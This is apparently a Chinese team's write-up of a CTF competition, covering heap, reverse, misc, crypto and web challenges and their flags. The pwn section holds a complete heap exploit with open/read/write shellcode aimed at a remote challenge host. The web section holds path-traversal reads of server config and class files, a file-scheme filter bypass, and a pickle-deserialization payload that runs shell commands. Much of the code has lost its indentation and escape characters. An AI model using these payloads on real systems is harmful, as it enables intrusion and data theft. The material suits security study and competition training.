注：本文为goodcat战队参赛wp，非官方出品
Pwn
1、K1ng_in_h3Ap_II
libc2.27-0ubuntu1.4，存在明显的UAF；
tcahce double free 控制tcache struct，将counts[]数组全部填满后， 将其释放到unsortedbin可泄露libc；
之后再次double free 将free_hook改为setcontext，布置好orw，之后读出flag。
from pwn import*
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./pwn2")
r = remote("47.104.175.110", 61608)
libc = ELF("./libc.so.6")
def allocate(index, size):
r.sendlineafter(">>
", "1")
r.sendlineafter("input index:
", str(index))
r.sendlineafter("input size:
", str(size))
def delete(index):
r.sendlineafter(">>
", "2")
r.sendlineafter("input index:
", str(index))
def edit(index, content):
r.sendlineafter(">>
", "3")
r.sendlineafter("input index:
", str(index))
r.sendafter("input context:
", content)
def show(index):
r.sendlineafter(">>
", "4")
r.sendlineafter("input index:
", str(index))
for i in range(8):
allocate(0, 0x10)
allocate(0, 0x40)
for i in range(7):
allocate(0, 0x60)
allocate(0, 0x60)
delete(0)
edit(0, 'a' * 0x10)
delete(0)
show(0)
heap_addr = u64(r.recv(6) + 'x00x00') & 0xfffffffffffff000
print "heap_addr = " + hex(heap_addr)
edit(0, p64(heap_addr+0x10))
allocate(0, 0x60)
allocate(0, 0x60)
edit(0, 'a' * 64)
delete(0)
show(0)
malloc_hook = (u64(r.recvuntil('x7f')[-6:].ljust(8, "x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
set_context = libc_base + libc.symbols['setcontext']
mprotect = libc_base + libc.sym['mprotect']
print "libc_base = " + hex(libc_base)
print "mprotect = " + hex(mprotect)
allocate(0, 0x58)
edit(0, 'x00' * 0x58)
allocate(1, 0x38)
delete(1)
edit(1, p64(free_hook))
allocate(1, 0x38)
allocate(1, 0x38)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(2, 0x30)
allocate(3, 0x10)
allocate(4, 0x30)
allocate(5, 0x30)
new_addr = free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000
mov eax,0
syscall
jmp rsi
''' % new_addr
edit(1, p64(set_context+53) + p64(free_hook+0x10) + asm(shellcode1))
edit(4, p64(0) + p64(new_addr) + p64(0x1000) + p64(0) + p64(0) + p64(7))
edit(5, p64(free_hook + 0x8) + p64(mprotect))
delete(2)
sleep(0.5)
shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax
mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall
mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall
mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall
mov rdi, 0 ;// error_code
mov rax, 60
syscall
'''
r.sendline(asm(shellcode2))
r.interactive()
Re
1、Just_cmp-re|Solved| working:
find the cmp str.
buu原题
hook原文
将原文转成qword
与加密key相加得到flag
flag{a14a424005b14e2b89ed45031ea791b9}
2、Funny_js
根据题目名称，发现是一道js框架的题目
提取js字节码如下：
0x02, 0x1B, 0x06, 0x72, 0x63, 0x34, 0x04, 0x73, 0x6E, 0x02, 0x69, 0x02, 0x6A, 0x02, 0x6B, 0x02, 0x6C, 0x02, 0x6D, 0x02, 0x6E, 0x04, 0x75, 0x6E, 0x06, 0x61, 0x72, 0x72, 0x0C, 0x63, 0x69, 0x70, 0x68,
0x65, 0x72, 0x2A, 0x32, 0x30, 0x32, 0x31, 0x71, 0x75, 0x69, 0x63, 0x6B, 0x6A, 0x73, 0x5F, 0x68, 0x61, 0x70, 0x70, 0x79, 0x67, 0x61, 0x6D, 0x65, 0x48, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A,
0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x2A, 0x02, 0x73, 0x18, 0x66, 0x72,
0x6F, 0x6D, 0x43, 0x68, 0x61, 0x72, 0x43, 0x6F, 0x64, 0x65, 0x0A, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x12, 0x73, 0x6F, 0x75, 0x72, 0x63, 0x65, 0x2E, 0x6A, 0x73, 0x08, 0x64, 0x61, 0x74, 0x61, 0x06, 0x6B,
0x65, 0x79, 0x06, 0x62, 0x6F, 0x78, 0x02, 0x78, 0x08, 0x74, 0x65, 0x6D, 0x70, 0x02, 0x79, 0x06, 0x6F, 0x75, 0x74, 0x08, 0x63, 0x6F, 0x64, 0x65, 0x14, 0x63, 0x68, 0x61, 0x72, 0x43, 0x6F, 0x64, 0x65,
0x41, 0x74, 0x08, 0x70, 0x75, 0x73, 0x68, 0x0E, 0x00, 0x06, 0x00, 0x9E, 0x01, 0x00, 0x01, 0x00, 0x20, 0x00, 0x08, 0xEB, 0x04, 0x01, 0xA0, 0x01, 0x00, 0x00, 0x00, 0x40, 0xDF, 0x00, 0x00, 0x00, 0x40,
0x40, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE2, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE5, 0x00,
0x00, 0x00, 0x00, 0x40, 0xE6, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x40, 0xE1, 0x00, 0x00, 0x00, 0x00,
0xC2, 0x00, 0x41, 0xDF, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE2, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE3, 0x00, 0x00, 0x00, 0x00, 0x3F,
0xE4, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE5, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE6, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE7, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xE9, 0x00, 0x00,
0x00, 0x00, 0x3F, 0xE1, 0x00, 0x00, 0x00, 0x00, 0x04, 0xEA, 0x00, 0x00, 0x00, 0x11, 0x3A, 0xE7, 0x00, 0x00, 0x00, 0x0E, 0x04, 0xEB, 0x00, 0x00, 0x00, 0x11, 0x3A, 0xE0, 0x00, 0x00, 0x00, 0xCB, 0xC0,
0x96, 0x00, 0xC0, 0xE0, 0x00, 0xC0, 0xF4, 0x00, 0xBF, 0x44, 0xBF, 0x3D, 0xBF, 0x7D, 0xBF, 0x08, 0xC0, 0xEF, 0x00, 0xC0, 0xCB, 0x00, 0xC0, 0xFE, 0x00, 0xC0, 0xF1, 0x00, 0xBF, 0x71, 0xC0, 0xD5, 0x00,
0xC0, 0xB0, 0x00, 0xBF, 0x40, 0xBF, 0x6A, 0xBF, 0x67, 0xC0, 0xA6, 0x00, 0xC0, 0xB9, 0x00, 0xC0, 0x9F, 0x00, 0xC0, 0x9E, 0x00, 0xC0, 0xAC, 0x00, 0xBF, 0x09, 0xC0, 0xD5, 0x00, 0xC0, 0xEF, 0x00, 0xBF,
0x0C, 0xBF, 0x64, 0xC0, 0xB9, 0x00, 0xBF, 0x5A, 0xC0, 0xAE, 0x00, 0xBF, 0x6B, 0xC0, 0x83, 0x00, 0x26, 0x20, 0x00, 0xC0, 0xDF, 0x00, 0x4D, 0x20, 0x00, 0x00, 0x80, 0xBF, 0x7A, 0x4D, 0x21, 0x00, 0x00,
0x80, 0xC0, 0xE5, 0x00, 0x4D, 0x22, 0x00, 0x00, 0x80, 0xC0, 0x9D, 0x00, 0x4D, 0x23, 0x00, 0x00, 0x80, 0x11, 0x3A, 0xE8, 0x00, 0x00, 0x00, 0x0E, 0xC1, 0x01, 0x11, 0x3A, 0xE5, 0x00, 0x00, 0x00, 0xCB,
0xC1, 0x02, 0x11, 0x3A, 0xE6, 0x00, 0x00, 0x00, 0xCB, 0xB7, 0x11, 0x3A, 0xE4, 0x00, 0x00, 0x00, 0xCB, 0xB7, 0x11, 0x3A, 0xE3, 0x00, 0x00, 0x00, 0xCB, 0x39, 0xDF, 0x00, 0x00, 0x00, 0x39, 0xE0, 0x00,
0x00, 0x00, 0x39, 0xE7, 0x00, 0x00, 0x00, 0xF2, 0x11, 0x3A, 0xE9, 0x00, 0x00, 0x00, 0x0E, 0x06, 0xCB, 0xB7, 0x11, 0x3A, 0xE1, 0x00, 0x00, 0x00, 0x0E, 0x39, 0xE1, 0x00, 0x00, 0x00, 0x39, 0xE9, 0x00,
0x00, 0x00, 0xEB, 0xA5, 0xEC, 0x6E, 0x39, 0xE9, 0x00, 0x00, 0x00, 0x39, 0xE1, 0x00, 0x00, 0x00, 0x48, 0x11, 0x3A, 0xE2, 0x00, 0x00, 0x00, 0xCB, 0x39, 0xE2, 0x00, 0x00, 0x00, 0xBF, 0x38, 0xBF, 0x11,
0xA0, 0xB0, 0x11, 0x3A, 0xE4, 0x00, 0x00, 0x00, 0xCB, 0x06, 0xCB, 0x39, 0xE4, 0x00, 0x00, 0x00, 0x39, 0xE8, 0x00, 0x00, 0x00, 0x39, 0xE3, 0x00, 0x00, 0x00, 0x48, 0xAB, 0xEC, 0x0F, 0x39, 0xE5, 0x00,
0x00, 0x00, 0x93, 0x3A, 0xE5, 0x00, 0x00, 0x00, 0xCB, 0xEE, 0x0D, 0x39, 0xE6, 0x00, 0x00, 0x00, 0x93, 0x3A, 0xE6, 0x00, 0x00, 0x00, 0xCB, 0x39, 0xE3, 0x00, 0x00, 0x00, 0x93, 0x3A, 0xE3, 0x00, 0x00,
0x00, 0xCB, 0x39, 0xE1, 0x00, 0x00, 0x00, 0x93, 0x3A, 0xE1, 0x00, 0x00, 0x00, 0x0E, 0xEE, 0x86, 0x06, 0xCB, 0x39, 0xE5, 0x00, 0x00, 0x00, 0x39, 0xE9, 0x00, 0x00, 0x00, 0xEB, 0xAB, 0xEC, 0x15, 0x39,
0xE6, 0x00, 0x00, 0x00, 0xB7, 0xAB, 0xEC, 0x0C, 0xC1, 0x03, 0x11, 0x3A, 0xE6, 0x00, 0x00, 0x00, 0xCB, 0xEE, 0x0A, 0xC1, 0x04, 0x11, 0x3A, 0xE6, 0x00, 0x00, 0x00, 0xCB, 0xC3, 0x11, 0x3A, 0xEC, 0x00,
0x00, 0x00, 0xCB, 0x06, 0xCB, 0x39, 0xE6, 0x00, 0x00, 0x00, 0xC1, 0x05, 0xA7, 0xEC, 0x3A, 0x39, 0xEC, 0x00, 0x00, 0x00, 0x39, 0x97, 0x00, 0x00, 0x00, 0x43, 0xED, 0x00, 0x00, 0x00, 0x39, 0x96, 0x00,
0x00, 0x00, 0x39, 0xE6, 0x00, 0x00, 0x00, 0xC1, 0x06, 0x9E, 0xF1, 0x24, 0x01, 0x00, 0x9F, 0x11, 0x3A, 0xEC, 0x00, 0x00, 0x00, 0xCB, 0x39, 0xE6, 0x00, 0x00, 0x00, 0xC1, 0x07, 0x9D, 0x11, 0x3A, 0xE6,
0x00, 0x00, 0x00, 0xCB, 0xEE, 0xBE, 0x39, 0xEE, 0x00, 0x00, 0x00, 0x39, 0xEC, 0x00, 0x00, 0x00, 0xF1, 0xCF, 0x28, 0xDE, 0x03, 0x01, 0x20, 0x00, 0x48, 0x01, 0x00, 0x4A, 0x52, 0x3F, 0x40, 0x00, 0x7C,
0x04, 0x30, 0x30, 0x2B, 0x2B, 0x77, 0x7B, 0x5D, 0x5D, 0x6C, 0x3F, 0x0E, 0x40, 0x3F, 0x4A, 0xB7, 0x30, 0x2B, 0x3F, 0xCB, 0x4E, 0x0D, 0x0E, 0x43, 0x06, 0x00, 0xBE, 0x03, 0x02, 0x08, 0x02, 0x05, 0x00,
0x00, 0xBB, 0x01, 0x0A, 0xE0, 0x03, 0x00, 0x01, 0x00, 0xE2, 0x03, 0x00, 0x01, 0x00, 0xE4, 0x03, 0x00, 0x00, 0x00, 0xC2, 0x03, 0x00, 0x01, 0x00, 0xE6, 0x03, 0x00, 0x02, 0x00, 0xE8, 0x03, 0x00, 0x03,
0x00, 0xEA, 0x03, 0x00, 0x04, 0x00, 0xEC, 0x03, 0x00, 0x05, 0x00, 0xEE, 0x03, 0x00, 0x06, 0x00, 0xC6, 0x03, 0x00, 0x07, 0x00, 0x39, 0x94, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x01, 0xF1, 0xCB, 0xB7, 0xCC,
0xC8, 0xC0, 0x00, 0x01, 0xA5, 0xEC, 0x09, 0xC7, 0xC8, 0xC8, 0x4A, 0x95, 0x01, 0xEE, 0xF2, 0xB7, 0xCD, 0xB7, 0xCC, 0xC8, 0xC0, 0x00, 0x01, 0xA5, 0xEC, 0x2C, 0xC9, 0xC7, 0xC8, 0x48, 0x9F, 0xD4, 0x43,
0xF8, 0x00, 0x00, 0x00, 0xC8, 0xD4, 0xEB, 0x9E, 0x24, 0x01, 0x00, 0x9F, 0xC0, 0x00, 0x01, 0x9E, 0xCD, 0xC7, 0xC8, 0x48, 0xCE, 0xC7, 0xC8, 0x72, 0xC7, 0xC9, 0x48, 0x4A, 0xC7, 0xC9, 0xCA, 0x4A, 0x95,
0x01, 0xEE, 0xCF, 0xB7, 0xCD, 0xB7, 0xC5, 0x04, 0x26, 0x00, 0x00, 0xC5, 0x05, 0xB7, 0xCC, 0xC8, 0xD3, 0xEB, 0xA5, 0xEC, 0x56, 0xD3, 0x43, 0xF8, 0x00, 0x00, 0x00, 0xC8, 0x24, 0x01, 0x00, 0xC5, 0x06,
0xC9, 0xB8, 0x9F, 0xC0, 0x00, 0x01, 0x9E, 0xCD, 0xC4, 0x04, 0xC7, 0xC9, 0x48, 0x9F, 0xC0, 0x00, 0x01, 0x9E, 0xC5, 0x04, 0xC7, 0xC9, 0x48, 0xCE, 0xC7, 0xC9, 0x72, 0xC7, 0xC4, 0x04, 0x48, 0x4A, 0xC7,
0xC4, 0x04, 0xCA, 0x4A, 0xC7, 0xC9, 0x48, 0xC7, 0xC4, 0x04, 0x48, 0x9F, 0xC0, 0x00, 0x01, 0x9E, 0xC5, 0x07, 0xC4, 0x05, 0x43, 0xF9, 0x00, 0x00, 0x00, 0xC4, 0x06, 0xC7, 0xC4, 0x07, 0x48, 0xB0, 0x24,
0x01, 0x00, 0x0E, 0x95, 0x01, 0xEE, 0xA6, 0xC4, 0x05, 0x28, 0xDE, 0x03, 0x03, 0x19, 0x04, 0x35, 0x30, 0x17, 0x18, 0x0D, 0x30, 0x7B, 0x17, 0x26, 0x17, 0x19, 0x0D, 0x12, 0x1C, 0x2C, 0x40, 0x2B, 0x3F,
0x17, 0x2B, 0x1D, 0x4A, 0x5D, 0x17, 0x0A, 0x00, 0x0A, 0x00, 0x0A, 0xE8, 0x01, 0x07, 0x44, 0xB8, 0x90, 0xB5, 0x6B, 0x67, 0x80, 0x0A, 0xE8, 0x01, 0x07, 0x34, 0xA7, 0xB8, 0x48, 0x7F, 0x8D, 0xAF, 0x0A,
0x00, 0x0A, 0x28, 0x01, 0xFE, 0x0A, 0x28, 0x01, 0xFE, 0x00, 0x00, 0x00
参考了这一篇博客
https://bbs.pediy.com/thread-259014.htm
对 quickjs.c 进行 patch：
得到字节码如下，对dump出来的字节码进行分析，提取出密文
[150, 224, 244, 68, 61, 125, 8, 239, 203, 254, 241, 113, 213, 176, 6
4, 106, 103, 166, 185, 159, 158, 172, 9, 213, 239, 12, 100, 185, 90, 174, 1
07, 131, 223, 122, 229, 157]
再提取出加密过程如下：
RC4_KEY="2021quickjs_happygame" push_i16 150 push_i16 224 push_i16 244 push_i8 68 push_i8 61 push_i8 125 push_i8 8 push_i16 239 push_i16 203 push_i16 254 push_i16 241 push_i8 113 push_i16 213 push_i16 176 push_i8 64 push_i8 106 push_i8 103 push_i16 166 push_i16 185 push_i16 159 push_i16 158 push_i16 172 push_i8 9 push_i16 213 push_i16 239 push_i8 12 push_i8 100 push_i16 185 push_i8 90 push_i16 174 push_i8 107 push_i16 131 array_from 32 push_i16 223 define_field "32" push_i8 122 define_field "33" push_i16 229 define_field "34" push_i16 157 43 define_field "35"
加密过程就是一个异或(56-17)外加rc4（key为2021quickjs_happygameH）
解密得到flag为flag{2021_9u1ck_1s_v3r7_1nT3r3st1n9}
Misc
1、你这flag保熟吗
binwalk提取两张图片，分别得到一个字母数字混合的表格和一个hint.txt
password.xls
hint.txt
希尔伯格曲线 取出表格中的字符，单独放到password.txt的文件中，运行脚本如下：
import base64
from hilbertcurve.hilbertcurve import HilbertCurve
array = []
password = ''
p = 8;n=2
hilbert_curve = HilbertCurve(p, n)
with open('password.txt','r',encoding='utf-16') as file:
# a = file.readline().replace(" ", "").replace("
", "")
# print(a)
for i in range(256):
a = file.readline().replace(" ", "").replace("
", "")
array.append(a)
for i in range(256*256):
[m,n] = hilbert_curve.point_from_distance(i)
password += array[n][m]
# print(password)
import base64
temp = password
for i in range(25):
temp = base64.b64decode(temp)
print(temp)
得到base64加密后的密文如下：
base解密得到密码
解压后发现里面是brainfuck
>+++++++++[<+++++++++++++ >-]>+
++[<
+++++++++++++++++++++++++++++
++++++++>-]>++[<+++++++++ +++++
++++++
+++++++++++++++++++++++++++++
++++++++++++>-]>++++[<+++ +++++
++++++++
+++++++++++++>-]>+++[<+++++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ +>-] ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ +++++ ++++ ++++ +++++
+++++ >>+++
+++[ <+++ +++++
+++++ +++++
+>-] >++[ <++++
+++++++++++++++++++++++++ +++++
+++++++>-]>+++++++++++[< +++++
++++++>-]>++[<++
+++++++++++++++++++++++++ +++++
++++++++++++++++++++++++++ +>-]>
+++++++[<++++++++
+++++++>-]+++++++++++++++ +++++
++++++++++++++++++++++++++++ +++++ +++
+++++
+++++ +++++
++++ ++++ +++++ +++++
+++++ +++++
++++ >>++ +++[<
+++++
+++++ +++++
++++ >-]> +++++
+++[<
+++++ +++++
+>-] >+++ +++[<
+++++
+++++ +++++
++>- ]>++ +++++
[<+++
+++++ +++++
++>- ]+++ +++++
+++++
+++++ +++++++++++++++++++++++++++ ++++
++++ +++++++++++++++++++++++++++++
+++++ ++++++++++++++>>++[<+++++++
++++ ++++
+++++++++++++++++++++++++++++
+++++ ++++++++++>-]>+++++[<++++++
++++ ++++
+++++>-]>+++++++[<+++++++>-]>
++++
++++
[<+++
+++++
+>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<
++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-
]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++
>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++
++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>+++
+++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>
然后解brainfuck可以得到
uozt{SrRyvig_Xfiev_1H_4_ee0mwviuf!_xfiev}
放到编码器里面发现是atbash
对应位置修改下大小写
flag{HiIbert_Curve_1S_4_vv0nderfu!_curve}
Crypto
1、 baby_rsa
to small? leak?
https://blog.cryptohack.org/cryptoctf2020#one-line-crypto
from Crypto.Util.number import long_to_bytes
from gmpy2 import invert, is_prime
from tqdm import tqdm
primes = []
for xy in tqdm(range(500)):
for mn in range(500):
prime = xy**(mn+1) - (xy+1)**mn
if prime.bit_length() > 2048: break
if is_prime(prime):
primes.append(prime)
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311
for i in range(len(primes)):
for j in range(i, len(primes)):
pq = primes[i]*primes[j]
if len(bin(pq)[2:]) == 2048:
try:
d = invert(0x10001, (primes[i]-1)*(primes[j]-1))
dec = long_to_bytes(pow(c, d, pq))
if b"flag{" in dec:
print(dec)
except ValueError:
pass
已知((fac[0]+fac[1]+fac[2]) << 1) - 1的值，用其替代n。分解((fac[0]+fac[1]+fac[2]) << 1) - 1求其欧拉函数，进而求解出d和第二段。
import gmpy2
from Crypto.Util.number import *
def main():
_n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
e = 0x10001
c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
phi_n = (191 - 1) * (193 - 1) * (627383 - 1) * (1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710491 - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c % _n, d, _n)
print(long_to_bytes(m))
if __name__ == '__main__':
main()
###
Web
1、java_url
一道Java_URL。
Tomcat/8.5.71
http://eci-2zeb5ty7ty8rr8c0v8yy.cloudeci1.ichunqiu.com/
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF//web.xml
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>testurl</servlet-name> <servlet-class>com.test2.aaa1.testURL</servlet-class> </servlet> <servlet-mapping> <servlet-name>testurl</servlet-name> <url-pattern>/testURL</url-pattern> </servlet-mapping> <servlet> <servlet-name>download</servlet-name> <servlet-class>com.test2.aaa1.download</servlet-class> </servlet> <servlet-mapping> <servlet-name>download</servlet-name> <url-pattern>/download</url-pattern> </servlet-mapping> </web-app>
读 /../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/test2/aaa1/testURL.class
得到class文件
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; public class testURL extends HttpServlet { protected void doGet(HttpServletRequest arg1, HttpServletResponse arg2) throws ServletException, IOException { this.doPost(arg1, arg2); } protected void doPost(HttpServletRequest arg6, HttpServletResponse arg7) throws ServletException, IOException { String tartget_url = arg6.getParameter("url"); if(tartget_url.substring(0, tartget_url.indexOf(":")).matches("(?i)file|(?i)gopher|(?i)data")) { arg7.getWriter().write(String.valueOf(new StringBuilder().append("false"))); return; } arg7.getWriter().write(String.valueOf(this.getContent(tartget_url))); } public StringBuilder getContent(String arg8) throws IOException { BufferedReader in = new BufferedReader(new InputStreamReader(new URL(arg8).openConnection().getInputStream())); StringBuilder content = new StringBuilder(); while(true) { String inputLine = in.readLine(); if(inputLine == null) { return content; } content.append(inputLine); content.append(" "); } return content; } }
读flag的payload /testURL?url=url:file:///flag
2、EZ_python
樱桃猫写了自己的第一个flask网站，你能帮他看看有什么问题吗？
网刃杯的easy_web,原题
文件读取，/proc/self/cmdline
app.py
import pickle import base64 from flask import Flask, request from flask import render_template,redirect,send_from_directory import os import requests import random from flask import send_file app = Flask(__name__) class User(): def __init__(self,name,age): self.name = name self.age = age def check(s): if b'R' in s: return 0 return 1 @app.route("/") def index(): try: user = base64.b64decode(request.cookies.get('user')) if check(user): user = pickle.loads(user) username = user["username"] else: username = "bad,bad,hacker" except: username = "CTFer" pic = '{0}.jpg'.format(random.randint(1,7)) try: pic=request.args.get('pic') with open(pic, 'rb') as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() except: pic='{0}.jpg'.format(random.randint(1,7)) with open(pic, 'rb') as f: base64_data = base64.b64encode(f.read()) p = base64_data.decode() return render_template('index.html', uname=username, pic=p ) if __name__ == "__main__": app.run('0.0.0.0',port=8888)
读 /proc/self/environ 没用
MAIL=/var/mail/appUSER=appHOSTNAME=engine-1SHLVL=1PYTHON_PIP_VERSION=20.1HOME=/home/appGPG_KEY=E3FF2839C048B25C084DEBE9B26995E310250568LOGNAME=app_=/bin/suPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyTERM=xtermPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8SHELL=/bin/shPYTHON_VERSION=3.8.2PWD=/appPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348
http://www.snowywar.top/?p=2538 网刃原题
import requests import pickle import base64 # e = 'ls / -a' e = 'cat /flagggggggggggggaaa' s = pickle.dumps(e) # print(s) payload = b'c__main__ User )x81}(V__setstate__ cos system ubV' + e.encode()+b' > /tmp/1.txt b.' response = requests.get("http://eci-2zecbk1aefg5marnfo77.cloudeci1.ichunqiu.com:8888/?pic=/tmp/1.txt", cookies=dict( user=base64.b64encode(payload).decode())) for l in response.content.decode().split(" "): if "base64" in l: l = l.split(""")[1].split(",")[1] print(base64.b64decode(l).decode())
flag{2e4af838-7d23-4b04-a77a-1519e8b14e8f}